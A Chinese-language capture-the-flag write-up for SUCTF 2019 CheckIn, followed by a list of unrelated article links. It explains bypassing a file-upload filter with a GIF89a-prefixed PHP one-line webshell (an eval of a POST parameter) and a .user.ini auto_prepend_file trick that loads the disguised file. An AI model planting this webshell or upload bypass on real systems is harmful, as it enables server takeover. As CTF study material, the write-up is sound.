当前位置： 首页 > news >正文

[SUCTF 2019]CheckIn1

news 2025/7/2 6:13:26

 黑名单过滤后缀’ph'，并且白名单image类型要有对应文件头

对<?过滤，改用GIF89a<script language='php'>@eval($_POST['cmd']);</script>，成功把getshell.gif上传上去了

尝试用.htaccess将上传的gif当作php解析，但是失败了

根据这篇文章.user.ini文件构成的PHP后门 - phith0n (wooyun.js.org)

上传.user.ini使用auto_prepend_file=<specific_file>将指定文件包含到当前目录下的php文件前

 

 

可以看到getshell.gif的文件头已经显示出来了，说明成功包含getshell.gif，后面跟着的一句话木马自然可以运行

 

连接蚁剑找到flag 

http://www.lryc.cn/news/288332.html

相关文章：

  • C语言练习题110例(十)
  • 前端学习-0125
  • gin中使用validator做参数校验
  • 理想架构的Doherty功率放大器理论与仿真
  • 22. 离线MC强化学习算法（1）
  • 如何阅读xml电子发票
  • php实现多进程的几种方式
  • CmakeList教程
  • JavaWeb之JavaScript-Vue --黑马笔记
  • pikachu_ssrf攻略
  • 门面模式 Facade Pattern
  • Linux基础指令大汇总
  • Unity配置表xlsx/xls打包后读取错误问题
  • CSS基本知识总结
  • 3dmax效果图渲染出现曝光怎么解决？
  • 科技、文化与旅游的融合创新：智慧文旅的未来之路
  • 【第四天】蓝桥杯备战
  • 计算机服务器中了halo勒索病毒怎么办，halo勒索病毒解密处理流程
  • 基于LSTM的负荷预测，基于BILSTM的负荷预测，基于GRU的负荷预测，基于BIGRU的负荷预测，基于BP神经网络的负荷预测
  • Linux命令-apachectl命令（Apache服务器前端控制工具）
  • 5.【SpringBoot3】文件上传
  • 网络安全态势感知平台概述
  • PHP导出csv文件格式(最快捷的方式导出Excel文件)
  • vue3常用代码
  • 【技术】SpringBoot 接口怎么加密解密
  • SqlAlchemy使用教程(六) -- ORM 表间关系的定义与CRUD操作
  • 嵌入式培训机构四个月实训课程笔记（完整版）-Linux ARM平台编程第五天-kernel配置（物联技术666）
  • Java笔记(死锁、线程通信、单例模式)
  • DAY11_(简易版)VUEElement综合案例
  • 【Kafka】开发实战和Springboot集成kafka